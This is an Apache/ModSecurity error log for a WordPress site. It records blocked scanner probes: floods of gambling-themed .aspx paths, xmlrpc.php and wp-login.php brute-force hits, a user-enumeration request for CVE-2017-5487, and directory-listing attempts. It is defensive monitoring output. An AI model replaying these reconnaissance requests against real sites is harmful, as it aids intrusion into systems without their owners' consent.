[Fri Jan 30 19:12:59.887790 2026] [:error] [pid 24681:tid 24692] [client 51.75.118.147:54350] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aXySO4E368IXQpahn0JwGwAAAQk"]
[Fri Jan 30 19:13:02.094015 2026] [:error] [pid 47021:tid 47044] [client 51.75.118.147:54352] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aXySPtap1k13UdZUNSQwugAAANU"]
[Fri Jan 30 19:13:04.191607 2026] [:error] [pid 24711:tid 24725] [client 51.75.118.147:54354] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aXySQK5Gwh4var6T23J0RgAAAUs"]
[Fri Jan 30 19:13:06.257472 2026] [:error] [pid 24681:tid 24699] [client 51.75.118.147:54370] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aXySQoE368IXQpahn0JwHgAAARA"]
[Fri Jan 30 19:13:08.175881 2026] [:error] [pid 38980:tid 38997] [client 51.75.118.147:54386] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXySRLYByxUZEaKXdHqRiwAAAgo"]
[Fri Jan 30 19:13:10.338500 2026] [:error] [pid 47663:tid 47672] [client 51.75.118.147:35156] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aXySRkHGTrgIKCqEYbWIfwAAAkc"]
[Fri Jan 30 19:13:12.482163 2026] [:error] [pid 24712:tid 24756] [client 51.75.118.147:35172] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXySSIRLQrFiQF3h9-swxgAAAY8"]
[Fri Jan 30 19:13:14.639005 2026] [:error] [pid 46913:tid 46966] [client 51.75.118.147:35174] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aXySSjMWmKL8hOfC3uS-DwAAAE8"]
[Fri Jan 30 19:13:16.682720 2026] [:error] [pid 46913:tid 46968] [client 51.75.118.147:35190] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXySTDMWmKL8hOfC3uS-EQAAAFE"]
[Fri Jan 30 19:13:18.595922 2026] [:error] [pid 46913:tid 46973] [client 51.75.118.147:35204] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aXySTjMWmKL8hOfC3uS-EgAAAFY"]
[Fri Jan 30 19:13:20.644667 2026] [:error] [pid 46913:tid 46970] [client 51.75.118.147:41384] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aXySUDMWmKL8hOfC3uS-FgAAAFM"]
[Fri Jan 30 19:13:23.101152 2026] [:error] [pid 24711:tid 24726] [client 51.75.118.147:41386] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aXySU65Gwh4var6T23J0XwAAAUw"]
[Fri Jan 30 19:13:25.096111 2026] [:error] [pid 47021:tid 47023] [client 51.75.118.147:41398] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXySVdap1k13UdZUNSQwyAAAAMA"]
[Fri Jan 30 19:13:27.356747 2026] [:error] [pid 47663:tid 47668] [client 51.75.118.147:41404] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aXySV0HGTrgIKCqEYbWIjgAAAkM"]
[Fri Jan 30 19:13:29.545111 2026] [:error] [pid 24711:tid 24724] [client 51.75.118.147:35242] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aXySWa5Gwh4var6T23J0ZQAAAUo"]
[Fri Jan 30 19:13:31.737587 2026] [:error] [pid 47663:tid 47676] [client 51.75.118.147:35256] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXySW0HGTrgIKCqEYbWIlAAAAks"]
[Fri Jan 30 19:13:33.978114 2026] [:error] [pid 47663:tid 47679] [client 51.75.118.147:35260] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aXySXUHGTrgIKCqEYbWImgAAAk4"]
[Fri Jan 30 19:13:36.329118 2026] [:error] [pid 24711:tid 24732] [client 51.75.118.147:35274] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aXySYK5Gwh4var6T23J0fAAAAVI"]
[Fri Jan 30 19:13:38.323608 2026] [:error] [pid 24712:tid 24750] [client 51.75.118.147:35284] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXySYoRLQrFiQF3h9-sw1QAAAYk"]
[Fri Jan 30 19:13:40.441035 2026] [:error] [pid 47021:tid 47042] [client 51.75.118.147:58854] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aXySZNap1k13UdZUNSQw1AAAANM"]
[Fri Jan 30 19:13:42.495494 2026] [:error] [pid 24681:tid 24698] [client 51.75.118.147:58858] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aXySZoE368IXQpahn0JwOgAAAQ8"]
[Fri Jan 30 19:13:44.410929 2026] [:error] [pid 46912:tid 46928] [client 51.75.118.147:58872] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aXySaD6yiVW7A9NwFFnNPwAAAAQ"]
[Fri Jan 30 19:13:46.568467 2026] [:error] [pid 46914:tid 46984] [client 51.75.118.147:58886] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aXySalgSfJ4kZxNKlb-uBgAAAIY"]
[Fri Jan 30 19:13:48.644811 2026] [:error] [pid 46912:tid 46942] [client 51.75.118.147:58890] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aXySbD6yiVW7A9NwFFnNQAAAABI"]
[Fri Jan 30 19:13:50.839879 2026] [:error] [pid 24712:tid 24744] [client 51.75.118.147:46580] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aXySboRLQrFiQF3h9-sw5QAAAYM"]
[Fri Jan 30 19:13:52.755358 2026] [:error] [pid 24711:tid 24721] [client 51.75.118.147:46592] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXyScK5Gwh4var6T23J0kQAAAUc"]
[Fri Jan 30 20:17:53.375329 2026] [:error] [pid 24711:tid 24725] [client 46.202.177.107:38256] [client 46.202.177.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.202.177.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXyhca5Gwh4var6T23KJpgAAAUs"]
[Fri Jan 30 20:25:05.381639 2026] [:error] [pid 24712:tid 24764] [client 91.217.249.193:26155] [client 91.217.249.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyjIYRLQrFiQF3h9-tB4QAAAZY"]
[Fri Jan 30 20:25:05.383337 2026] [:error] [pid 38980:tid 39000] [client 91.217.249.198:30091] [client 91.217.249.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyjIbYByxUZEaKXdHqdwwAAAg0"]
[Fri Jan 30 21:09:45.705731 2026] [:error] [pid 46913:tid 46961] [client 51.75.116.205:42120] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aXytmTMWmKL8hOfC3uTOvQAAAEo"]
[Fri Jan 30 21:09:47.866239 2026] [:error] [pid 24711:tid 24731] [client 51.75.116.205:59800] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXytm65Gwh4var6T23KaEwAAAVE"]
[Fri Jan 30 21:09:50.037555 2026] [:error] [pid 46912:tid 46945] [client 51.75.116.205:59808] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXytnj6yiVW7A9NwFFnjNwAAABU"]
[Fri Jan 30 21:09:53.746300 2026] [:error] [pid 46914:tid 46978] [client 51.75.116.205:59822] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXytoVgSfJ4kZxNKlb_KdgAAAIA"]
[Fri Jan 30 21:09:57.674585 2026] [:error] [pid 24711:tid 24723] [client 51.75.116.205:37772] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXytpa5Gwh4var6T23KaIQAAAUk"]
[Fri Jan 30 21:22:54.921240 2026] [:error] [pid 47021:tid 47045] [client 34.68.174.89:60724] [client 34.68.174.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.174.89, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXywrtap1k13UdZUNSRKNAAAANY"]
[Fri Jan 30 21:23:07.716895 2026] [:error] [pid 46912:tid 46944] [client 217.76.49.167:40880] [client 217.76.49.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.76.49.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXywuz6yiVW7A9NwFFnmDgAAABQ"]
[Fri Jan 30 21:23:09.851666 2026] [:error] [pid 24711:tid 24722] [client 193.202.110.22:59466] [client 193.202.110.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.202.110.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXywva5Gwh4var6T23KelQAAAUg"]
[Fri Jan 30 21:34:46.622434 2026] [:error] [pid 46912:tid 46931] [client 91.217.249.203:59995] [client 91.217.249.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyzdj6yiVW7A9NwFFnn7gAAAAc"]
[Fri Jan 30 21:34:46.622848 2026] [:error] [pid 24711:tid 24727] [client 91.217.249.227:43537] [client 91.217.249.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.227, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyzdq5Gwh4var6T23KiKAAAAU0"]
[Fri Jan 30 21:41:34.997708 2026] [:error] [pid 47663:tid 47669] [client 43.167.239.66:56444] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXy1DkHGTrgIKCqEYbWdsAAAAkQ"]
[Fri Jan 30 22:03:04.580250 2026] [:error] [pid 47021:tid 47032] [client 192.42.116.191:47286] [client 192.42.116.191] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXy6GNap1k13UdZUNSRTSwAAAMk"]
[Fri Jan 30 22:08:55.252045 2026] [autoindex:error] [pid 46913:tid 46965] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:08:55.813764 2026] [autoindex:error] [pid 46913:tid 46974] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:08:56.372036 2026] [autoindex:error] [pid 46913:tid 46967] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:08:56.924798 2026] [autoindex:error] [pid 46913:tid 46975] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:00.603706 2026] [autoindex:error] [pid 46913:tid 46960] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:01.192195 2026] [autoindex:error] [pid 46913:tid 46957] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:01.749316 2026] [autoindex:error] [pid 46913:tid 46970] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:02.324581 2026] [autoindex:error] [pid 46913:tid 46974] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:02.880026 2026] [autoindex:error] [pid 46913:tid 46953] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:03.447198 2026] [autoindex:error] [pid 46913:tid 46975] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:04.595855 2026] [autoindex:error] [pid 46913:tid 46973] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:09.445856 2026] [autoindex:error] [pid 46913:tid 46953] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:10.012984 2026] [autoindex:error] [pid 46913:tid 46967] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:16.901606 2026] [autoindex:error] [pid 46913:tid 46970] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:17.456805 2026] [autoindex:error] [pid 46913:tid 46958] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
